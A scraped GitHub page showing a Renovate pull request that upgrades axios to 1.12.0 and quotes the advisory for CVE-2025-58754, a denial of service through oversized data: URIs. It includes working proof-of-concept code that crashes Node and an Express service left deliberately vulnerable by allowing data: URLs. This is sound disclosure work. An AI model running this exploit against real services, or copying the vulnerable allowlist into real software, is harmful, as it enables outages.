You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response.
This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'.
Details
The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob.
constaxios=require('axios');asyncfunctionmain(){// this example decodes ~120 MBconstbase64Size=160_000_000;// 120 MB after decodingconstbase64='A'.repeat(base64Size);consturi='data:application/octet-stream;base64,'+base64;console.log('Generating URI with base64 length:',base64.length);constresponse=awaitaxios.get(uri,{responseType: 'arraybuffer'});console.log('Received bytes:',response.data.length);}main().catch(err=>{console.error('Error:',err.message);});
Run with limited heap to force a crash:
node --max-old-space-size=100 poc.js
Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:
<--- Last few GCs --->
…
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
1: 0x… node::Abort() …
…
Mini Real App PoC:
A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS.
importexpressfrom"express";importmorganfrom"morgan";importaxiosfrom"axios";importhttpfrom"node:http";importhttpsfrom"node:https";import{PassThrough}from"node:stream";constkeepAlive=true;consthttpAgent=newhttp.Agent({ keepAlive,maxSockets: 100});consthttpsAgent=newhttps.Agent({ keepAlive,maxSockets: 100});constaxiosClient=axios.create({timeout: 10000,maxRedirects: 5,
httpAgent, httpsAgent,headers: {"User-Agent": "axios-poc-link-preview/0.1 (+node)"},validateStatus: c=>c>=200&&c<400});constapp=express();constPORT=Number(process.env.PORT||8081);constBODY_LIMIT=process.env.MAX_CLIENT_BODY||"50mb";app.use(express.json({limit: BODY_LIMIT}));app.use(morgan("combined"));app.get("/healthz",(req,res)=>res.send("ok"));/** * POST /preview { "url": "<http|https|data URL>" } * Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector). */app.post("/preview",async(req,res)=>{consturl=req.body?.url;if(!url)returnres.status(400).json({error: "missing url"});letu;try{u=newURL(String(url));}catch{returnres.status(400).json({error: "invalid url"});}// Developer allows using data:// in the allowlistconstallowed=newSet(["http:","https:","data:"]);if(!allowed.has(u.protocol))returnres.status(400).json({error: "unsupported scheme"});constcontroller=newAbortController();constonClose=()=>controller.abort();res.on("close",onClose);constbefore=process.memoryUsage().heapUsed;try{constr=awaitaxiosClient.get(u.toString(),{responseType: "stream",maxContentLength: 8*1024,// Axios will ignore this for data:maxBodyLength: 8*1024,// Axios will ignore this for data:signal: controller.signal});// stream only the first 64KB backconstcap=64*1024;letsent=0;constlimiter=newPassThrough();r.data.on("data",(chunk)=>{if(sent+chunk.length>cap){limiter.end();r.data.destroy();}else{sent+=chunk.length;limiter.write(chunk);}});r.data.on("end",()=>limiter.end());r.data.on("error",(e)=>limiter.destroy(e));constafter=process.memoryUsage().heapUsed;res.set("x-heap-increase-mb",((after-before)/1024/1024).toFixed(2));limiter.pipe(res);}catch(err){constafter=process.memoryUsage().heapUsed;res.set("x-heap-increase-mb",((after-before)/1024/1024).toFixed(2));res.status(502).json({error: String(err?.message||err)});}finally{res.off("close",onClose);}});app.listen(PORT,()=>{console.log(`axios-poc-link-preview listening on http://0.0.0.0:${PORT}`);console.log(`Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).`);});
Enforce size limits
For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit.
Stream decoding
Instead of decoding the entire payload in one Buffer.from call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
This PR contains the following updates:
1.11.0
->1.12.0
1.8.2
->1.12.0
GitHub Vulnerability Alerts
CVE-2025-58754
Summary
When Axios runs on Node.js and is given a URL with the
data:
scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer
/Blob
) and returns a synthetic 200 response.This path ignores
maxContentLength
/maxBodyLength
(which only protect HTTP responses), so an attacker can supply a very largedata:
URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requestedresponseType: 'stream'
.Details
The Node adapter (
lib/adapters/http.js
) supports thedata:
scheme. Whenaxios
encounters a request whose URL starts withdata:
, it does not perform an HTTP request. Instead, it callsfromDataURI()
to decode the Base64 payload into a Buffer or Blob.Relevant code from
[httpAdapter](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231)
:The decoder is in
[lib/helpers/fromDataURI.js](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27)
:config.maxContentLength
orconfig.maxBodyLength
, which only apply to HTTP streams.data:
URI of arbitrary size can cause the Node process to allocate the entire content into memory.In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when
totalResponseBytes
exceeds[maxContentLength](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550)
. No such check occurs fordata:
URIs.PoC
Run with limited heap to force a crash:
Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:
Mini Real App PoC:
A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore
maxContentLength
,maxBodyLength
and decodes into memory on Node before streaming enabling DoS.Run this app and send 3 post requests:
Suggestions
Enforce size limits
For
protocol === 'data:'
, inspect the length of the Base64 payload before decoding. Ifconfig.maxContentLength
orconfig.maxBodyLength
is set, reject URIs whose payload exceeds the limit.Stream decoding
Instead of decoding the entire payload in one
Buffer.from
call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.Release Notes
axios/axios (axios)
v1.12.0
Compare Source
Bug Fixes
Features
Contributors to this release
Configuration
📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).
🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.
♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about these updates again.
This PR was generated by Mend Renovate. View the repository job log.
Thanks for the PR!
Deployments, as required, will be available below:
Please create PRs in draft mode. Mark as ready to enable:
After merge, new images are deployed in: